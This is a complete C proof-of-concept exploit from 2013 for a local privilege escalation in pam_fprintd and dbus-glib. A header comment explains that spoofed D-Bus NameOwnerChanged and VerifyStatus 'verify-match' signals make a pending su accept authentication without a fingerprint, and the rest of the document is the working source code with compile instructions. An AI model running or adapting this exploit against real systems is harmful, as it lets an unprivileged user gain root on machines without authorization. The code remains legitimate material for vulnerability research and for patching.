dbus-glib pam_fprintd – Local Privilege Escalation
/* darklena. fprintd/pam_fprintd local root PoC. However dbus-glib plays an important role. * * (C) 2013 Sebastian Krahmer, all rights reversed. * * pam_fprintd uses net.reactivated.Fprint service to trigger finger swiping and * registers DBUS signal inside the PAM authentication function: * * dbus_g_proxy_add_signal(dev, "VerifyStatus", G_TYPE_STRING, G_TYPE_BOOLEAN, NULL); * dbus_g_proxy_add_signal(dev, "VerifyFingerSelected", G_TYPE_STRING, NULL); * dbus_g_proxy_connect_signal(dev, "VerifyStatus", G_CALLBACK(verify_result), * data, NULL); * * Then, when the DBUS signal arrives, the signal argument is basically just checked * to be the "verify-match" string; which however is expected to come from the legit * net.reactivated.Fprint service. Since there is no message filter registered in either * pam_fprintd, nor inside dbus-glib which it is using, such signals can be spoofed * by anyone. In order to do so, we first need to spoof a NameOwnerChanged signal * so the dbus_g_proxy_manager_filter() function inside dbus-glib will find our * sender-name (which cannot be spoofed) inside its hash tables and match it to * net.reactivated.Fprint. * * To test this PoC, start a service (su is fine) as user that is using pam_fprintd. * On a second xterm, when you see 'Swipe your ... finger' message start this PoC * and you will notice that a rootshell is spawned in the first xterm w/o giving your finger. :p * * Used various DBUS tutorials and example code, while writing this. * * $ cc darklena.c `pkg-config --cflags dbus-1` -ldbus-1 -Wall * */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <dbus/dbus.h> void die(const char *s) { perror(s); exit(errno); } int main(int argc, char **argv) { DBusError err; DBusConnection *conn = NULL; DBusMessage *vrfy_msg = NULL, *noc_msg = NULL, *nl_msg = NULL, *reply = NULL; dbus_uint32_t serial = 0; dbus_bool_t t = 1; int un = 0, i = 0, reply_to = -1; const char *vrfy_match = "verify-match", *cname = NULL, *name = "net.reactivated.Fprint", *prev_owner = NULL; char dest[32]; /* override unique name of net.reactivated.Fprint */ if (argc > 1) prev_owner = strdup(argv[1]); printf("\n[**] darklena, pam_fprintd PoC exploit 2013\n\n"); printf("[*] Initializing DBUS ...\n"); dbus_error_init(&err); conn = dbus_bus_get(DBUS_BUS_SYSTEM, &err); if (dbus_error_is_set(&err)) { fprintf(stderr, "Error: %s\n", err.message); die("dbus_error_is_set"); } if ((cname = dbus_bus_get_unique_name(conn)) == NULL) die("dbus_bus_get_unique_name"); un = atoi(strchr(cname, '.') + 1); printf("[+] Done. Found my unique name: %s (%d)\n", cname, un); if (!prev_owner) { printf("[*] Trying to find unique name of '%s' ...\n", name); nl_msg = dbus_message_new_method_call("org.freedesktop.DBus", "/org/freedesktop/DBus", "org.freedesktop.DBus", "GetNameOwner"); if (!dbus_message_append_args(nl_msg, DBUS_TYPE_STRING, &name, DBUS_TYPE_INVALID)) die("[-] dbus_message_append_args"); reply = dbus_connection_send_with_reply_and_block(conn, nl_msg, reply_to, &err); dbus_message_unref(nl_msg); if (dbus_error_is_set(&err)) { fprintf (stderr, "[-] Error: %s\n", err.message); die("[-] dbus_connection_send_with_reply_and_block"); } if (!dbus_message_get_args(reply, &err, DBUS_TYPE_STRING, &prev_owner, DBUS_TYPE_INVALID)) { fprintf(stderr, "[-] Error: %s\n", err.message); die("[-] dbus_message_get_args"); } dbus_message_unref(reply); } printf("[+] Found unique name of '%s' as '%s'\n", name, prev_owner); for (i = 1; i < 20; ++i) { /* spoof a NameOwnerChanged signal */ noc_msg = dbus_message_new_signal("/org/freedesktop/DBus", "org.freedesktop.DBus", "NameOwnerChanged"); /* spoof a VerifyStatus */ vrfy_msg = dbus_message_new_signal("/net/reactivated/Fprint/Device/0", "net.reactivated.Fprint.Device", "VerifyStatus"); if (!vrfy_msg || !noc_msg) die("[-] dbus_message_new_signal"); if (!dbus_message_append_args(noc_msg, DBUS_TYPE_STRING, &name, DBUS_TYPE_STRING, &prev_owner, DBUS_TYPE_STRING, &cname, DBUS_TYPE_INVALID)) die("[-] dbus_message_append_args1"); if (!dbus_message_append_args(vrfy_msg, DBUS_TYPE_STRING, &vrfy_match, DBUS_TYPE_BOOLEAN, &t, DBUS_TYPE_INVALID)) die("[-] dbus_message_append_args2"); /* iterate over unique names short below under our own * to hit the previously started su */ snprintf(dest, sizeof(dest), ":1.%d", un - i); printf("[*] Using new destination: %s\n", dest); if (!dbus_message_set_destination(vrfy_msg, dest)) die("[-] dbus_message_set_destination"); if (!dbus_message_set_destination(noc_msg, dest)) die("[-] dbus_message_set_destination"); if (!dbus_connection_send(conn, noc_msg, &serial)) die("[-] dbus_connection_send"); dbus_connection_flush(conn); usleep(1000); if (!dbus_connection_send(conn, vrfy_msg, &serial)) die("[-] dbus_connection_send"); dbus_connection_flush(conn); dbus_message_unref(vrfy_msg); dbus_message_unref(noc_msg); } printf("\n[**] Here comes the pain! (but no one's to too innocent to die)\n"); return 0; } |